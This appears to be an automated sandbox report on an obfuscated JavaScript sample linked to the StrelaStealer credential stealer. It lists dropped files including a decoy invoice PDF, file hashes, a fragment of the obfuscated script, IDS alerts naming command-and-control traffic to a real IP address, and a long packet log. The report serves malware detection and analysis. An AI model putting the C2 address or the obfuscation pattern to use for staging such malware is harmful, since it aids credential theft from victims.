SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d53dd7cc-d54e-458e-88ae-eb7925673e7b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17454), with CRLF line terminators
Entropy (8bit):	4.907436099978905
TrID:
File name:	15315323282846423758.js
File size:	20'892 bytes
MD5:	0f630a570b58abe695bc8585a2cb56d7
SHA1:	4789598e82c7fcad628a8470eef7881b653a00de
SHA256:	1bafc3cc3bc03c8b48bba972c4eb568577308a8fdb1b975c6e454fb6d6cc5d3a
SHA512:	3ba24da10d0370005fa9c0d06bfe48ee56368f04eaa51474780ca7747b723ca1e97b0579a60968394b596bac7cf2713acfe841afd04e9c7d02b931b2320fe833
SSDEEP:	384:gZSo7EgklvMsnklUnklj331pVRPbvSX81wmKbvK1QK7gP1FPlsGJvq4lx9/e686Q:9DcGJvq4l0CHa3FCm7R
TLSH:	A59254C7E8460647C5F806F2A7C78C990FF802C82D2851DADB96F8D47A829776BE50F5
File Content Preview:	function uslrjwe(){blnosyz=[1031,3079,5127,4103,2055,3072];var yyrrfqaan=this[dmffffpok+bnxulk+rqdrz+zfpxio+mrccvz+wuerfpik+riwzuw+ibzlmm](this[bdspcw+rknsupe+oarhhs+rqdrz+ukmaapqzc+dmffffpok+ibzlmm][jhqpfd+rqdrz+mrccvz+bnxulk+ibzlmm+mrccvz+fcrbpsv+hfggek

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:54:52.554231+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T01:54:52.554231+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T01:54:54.962878+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:54:51.760155916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:51.765011072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:51.765402079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:51.768153906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:51.772996902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.554024935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.554151058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.554163933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.554173946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.554184914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.554195881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.554207087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.554218054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.554228067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.554230928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.554239988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.554299116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.559057951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.596637964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.596654892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.596679926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.596863031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.596863031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.678916931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.678934097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.678972006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.679030895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.679042101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.679121971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.679121971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.679378033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.679384947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.679492950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.679517031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.679564953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.679575920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.679585934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.679609060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.679666996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.680146933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.680174112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.680218935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.680387020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.680403948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.680417061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.680428028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.680438042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.680439949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.680471897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.680511951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.681329012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.681340933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.681353092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.681359053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.681613922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.685161114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.722268105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.722285032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.722295046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.722306013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.722630024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.767621994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.767641068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.767865896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.804537058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.804557085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.804568052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.804658890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.804670095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.804711103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.804722071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.804733992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.804740906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.804744959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.804750919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.804919958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.805394888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.805404902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.805432081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.805450916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.805460930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.805470943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.805473089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.805483103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.805493116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.805517912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.805531979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.806248903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.806304932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.806317091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.806340933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.806348085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.806359053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.806370020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.806380987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.806385040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.806391954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.806426048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.806426048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.807216883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.807284117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.807293892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.807305098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.807332039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.807346106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.807348967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.807360888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.807372093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.807382107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.807409048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.807446003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.808238029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.808249950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.808259964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.808270931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.808300972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.808300972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.810703039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.810714006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.810739994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.810760021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.847700119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.847719908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.847729921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.847739935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.847759008 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.847770929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.847839117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.847868919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.847878933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.847924948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.847924948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.847924948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.893331051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.893343925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.893353939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.893364906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.893538952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.930238008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930263996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930277109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930300951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930311918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930402994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.930412054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930423021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930433035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930453062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.930453062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.930490017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.930650949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930660963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930670977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930701971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.930782080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930860996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930871010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930874109 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.930881023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930891037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930902004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930912971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.930921078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.930921078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.930990934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.931288004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.931474924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.931485891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.931495905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.931507111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.931521893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.931529045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.931531906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.931541920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.931552887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.931562901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.931566954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.931596994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.931612968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.932132006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932143927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932154894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932180882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.932260036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932271004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932280064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932291031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932300091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932310104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932321072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932331085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932343006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.932343960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.932343960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.932384968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.932384968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.933165073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933176994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933197975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933212996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933224916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933240891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933244944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.933248043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933254004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933258057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933262110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933264017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.933265924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933269978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.933289051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.933363914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.934227943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934238911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934248924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934258938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934269905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934283018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934293985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934299946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.934299946 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.934304953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934314966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934324980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934334993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934345961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.934355021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.934355974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.934398890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.934592962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.934995890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936194897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936207056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936218023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936228991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936239958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936250925 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.936280966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.936280966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:52.936384916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:52.936419010 CET	80	49706	193.143.1.205	192.168.2.8
